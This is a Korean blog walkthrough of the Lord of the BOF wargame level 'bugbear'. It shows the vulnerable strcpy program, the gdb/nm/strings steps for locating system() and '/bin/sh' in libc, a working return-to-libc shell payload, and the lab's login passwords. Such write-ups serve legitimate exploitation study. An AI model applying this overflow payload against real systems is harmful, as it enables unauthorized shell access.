반응형

login as : darkknight
password : new attacker


문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

 

1. 커맨드라인 인자가 있어야한다.
2. 첫 번째 커맨드라인 인자의 48번째 값이 0xbf로 시작하면 안되므로 RET 부분에 덮어쓸 주소가 스택의 주소이면 안된다.

 

이번 문제는 조건이 엄청 간단하지만, 이전 문제들의 대다수와는 다르게 RET 부분에 덮어쓸 주소가 스택의 주소이면 안된다는 조건이 있다.

 

그리고 문제 이름과 힌트에서도 RTL이라고 알려줬기 때문에 RTL 기법을 이용한다.

 

참고)

RTL 기법은 Return to Lib의 약자로, 공유 라이브러리에 있는 주소로 반환시키는 것이다.

이미 LOB level2에서 사용했던 기법이다.

https://sean.tistory.com/480


dummy 값 확인

 

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.

 


공격

cp bugbear bugbear2

gdb -q bugbear2

b * main

r aaaa

shell ps

shell cat /proc/[process id]/maps

 

먼저 bugbear 프로그램에서 어떤 버전의 libc 공유 라이브러리를 사용하는지 확인하지 위해

 

bugbear 파일을 bugbear2 파일로 복사한 후 gdb로 연 뒤 bp를 걸고 인자를 대충 적어서 실행한 후 메모리맵을 보면 libc-2.1.3.so를 사용 중인 것을 확인할 수 있다.

 

 

ldd 명령을 이용해 두 번 실행했을 때 주소가 안 바뀌는 것을 통해 ASLR 기법이 안 걸려있다는 것을 확인하고, base 주소(0x40018000)도 확인한다.

 

nm /lib/libc-2.1.3.so | grep system

strings -tx /lib/libc-2.1.3.so | grep /bin/sh

 

nm 명령과 strings 명령을 통해 공유 라이브러리 내에 있는 system() 함수의 offset 주소와 "/bin/sh" 문자열의 offset 주소를 구한다.

 

구한 offset 주소는 이전에 위에서 알아낸 base 주소 0x40018000에 더하면 된다.

 

그러면 system 함수의 주소는 0x40058ae0이고, "/bin/sh" 문자열의 주소는 0x400fbff9이다.

 

./bugbear `python -c 'print "a" * 44 + "\xe0\x8a\x05\x40" + "b" * 4 + "\xf9\xbf\x0f\x40"'`

 

위에서 알아낸 정보들을 바탕으로 payload를 구성해 bugbear에 인자로 주어 실행하면 bugbear의 password인 new divide를 얻을 수 있다.

 

참고)

system() 함수를 호출하는 것이 아닌 RET 부분에 sysem() 함수의 주소를 덮어씌워서 반환시키는 것이므로 스택의 구조는 "system() 함수 주소 + system() 함수의 RET 부분 + 인자" 형태로 SFP 부분은 없어도 된다.

 

그리고 system() 함수를 호출해 셸을 얻고 나서는 공격이 끝나므로 system() 함수의 RET 부분에는 4byte 아무런 값이나 들어가도 된다.

 

반응형

+ Recent posts